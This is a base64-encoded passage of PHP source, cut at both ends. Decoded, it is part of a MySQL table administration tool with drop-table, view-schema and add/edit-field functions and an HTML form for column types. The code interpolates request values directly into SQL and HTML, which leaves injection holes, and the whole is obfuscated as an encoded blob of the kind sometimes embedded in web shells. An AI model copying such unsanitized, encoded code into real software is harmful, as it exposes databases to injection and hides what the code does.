dGFibGVuYW1lICggbm8gSU5UICkiOw0KCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7DQoJbXlzcWxfcXVlcnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJbGlzdFRhYmxlcygpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wVGFibGUoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsNCgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsNCglsaXN0VGFibGVzKCk7DQp9DQoNCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJZWNobyAiPGgxPlRhYmxlIFNjaGVtYTwvaDE+XG4iOw0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvUXVlcnlSZXN1bHQoKTsNCgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWFkZEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRmllbGQ8L2E+IHwgXG4iOw0KCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5WaWV3IERhdGE8L2E+XG4iOw0KCWVjaG8gIjxocj5cbiI7DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgIlNIT1cgZmllbGRzIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+RmllbGQ8L3RoPlxuIjsNCgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5OdWxsPC90aD5cbiI7DQoJZWNobyAiPHRoPktleTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7DQoJZWNobyAiPHRoPkV4dHJhPC90aD5cbiI7DQoJZWNobyAiPHRoIGNvbHNwYW49Mj5BY3Rpb248L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCg0KCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCApOw0KCQllY2hvICI8dHI+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIkZpZWxkIl0uIjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+Ii4kZmllbGRbIlR5cGUiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJLZXkiXS4iPC90ZD5cbiI7DQoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRGVmYXVsdCJdLiI8L3RkPlxuIjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJFeHRyYSJdLiI8L3RkPlxuIjsNCgkJJGZpZWxkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZWRpdEZpZWxkJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJmZpZWxkbmFtZT0kZmllbGRuYW1lJz5FZGl0PC9hPjwvdGQ+XG4iOw0KCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9uQ2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRyb3A8L2E+PC90ZD5cbiI7DQoJCWVjaG8gIjwvdHI+XG4iOw0KCX0NCgllY2hvICI8L3RhYmxlPlxuIjsNCn0NCg0KZnVuY3Rpb24gbWFuYWdlRmllbGQoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBGaWVsZDwvaDE+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOw0KCQkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCQkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7DQoJCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7DQoJCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsNCgkJCWlmKCAkZmllbGRbIkZpZWxkIl0gPT0gJGZpZWxkbmFtZSApIHsNCgkJCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07DQoJCQkJJGZpZWxka2V5ID0gJGZpZWxkWyJLZXkiXTsNCgkJCQkkZmllbGRleHRyYSA9ICRmaWVsZFsiRXh0cmEiXTsNCgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxsIl07DQoJCQkJJGZpZWxkZGVmYXVsdCA9ICRmaWVsZFsiRGVmYXVsdCJdOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQl9DQoNCgkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCWlmKCBzdHJwb3MoICRmaWVsZHR5cGUsICIoIiApICkgew0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCSR2YWx1ZWxpc3QgPSBzdHJ0b2soICIgKClcbiIgKTsNCgkJCX0gZWxzZSB7DQoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7DQoJCQkJaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgIiwiICkgKQ0KCQkJCQkkRCA9IHN0cnRvayggIiAoLClcbiIgKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JFBIUF9TRUxGPlxuIjsNCglpZiggJGNtZCA9PSAiYWRkIiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1hZGRGaWVsZF9zdWJtaXQ+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9ZWRpdEZpZWxkX3N1Ym1pdD5cbiI7DQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPW9sZF9uYW1lIHZhbHVlPSRmaWVsZG5hbWU+XG4iOw0KCX0NCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9JGRibmFtZT5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9dGFibGVuYW1lIHZhbHVlPSR0YWJsZW5hbWU+XG4iOw0KCWVjaG8gIjxoMz5OYW1lPC9oMz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9JGZpZWxkbmFtZT48cD5cbiI7DQoJZWNobyAnDQoNCjxoMz5UeXBlPC9oMz4NCjxmb250IHNpemU9MiBjbGFzcz0ibmV3Ij4NCiogYE1cJyBpbmRpY2F0ZXMgdGhlIG1heGltdW0gZGlzcGxheSBzaXplLjxicj4NCiogYERcJyBhcHBsaWVzIHRvIGZsb2F0aW5nLXBvaW50IHR5cGVzIGFuZCBpbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBkaWdpdHMgZm9sbG93aW5nIHRoZSBkZWNpbWFsIHBvaW50Ljxicj4NCjwvZm9udD4NCjx0YWJsZT4NCjx0cj4NCjx0aD5UeXBlPC90aD48dGg+Jm5ic3BNJm5ic3A8L3RoPjx0aD4mbmJzcEQmbmJzcDwvdGg+PHRoPnVuc2lnbmVkPC90aD48dGg+emVyb2ZpbGw8L3RoPjx0aD5iaW5hcnk8L3RoPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllJTlQiICc7IGlmKCAkdHlwZSA9PSAidGlueWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElOWUlOVCAoLTEyOCB+IDEyNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iU01BTExJTlQiICc7IGlmKCAkdHlwZSA9PSAic21hbGxpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNNQUxMSU5UICgtMzI3NjggfiAzMjc2Nyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNSU5UIiAnOyBpZiggJHR5cGUgPT0gIm1lZGl1bWludCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNSU5UICgtODM4ODYwOCB+IDgzODg2MDcpPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IklOVCIgJzsgaWYoICR0eXBlID09ICJpbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPklOVCAoLTIxNDc0ODM2NDggfiAyMTQ3NDgzNjQ3KTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJCSUdJTlQiICc7IGlmKCAkdHlwZSA9PSAiYmlnaW50IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CSUdJTlQgKC05MjIzMzcyMDM2ODU0Nzc1ODA4IH4gOTIyMzM3MjAzNjg1NDc3NTgwNyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iRkxPQVQiICc7IGlmKCAkdHlwZSA9PSAiZmxvYXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkZMT0FUPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkRPVUJMRSIgJzsgaWYoICR0eXBlID09ICJkb3VibGUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRPVUJMRTwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBI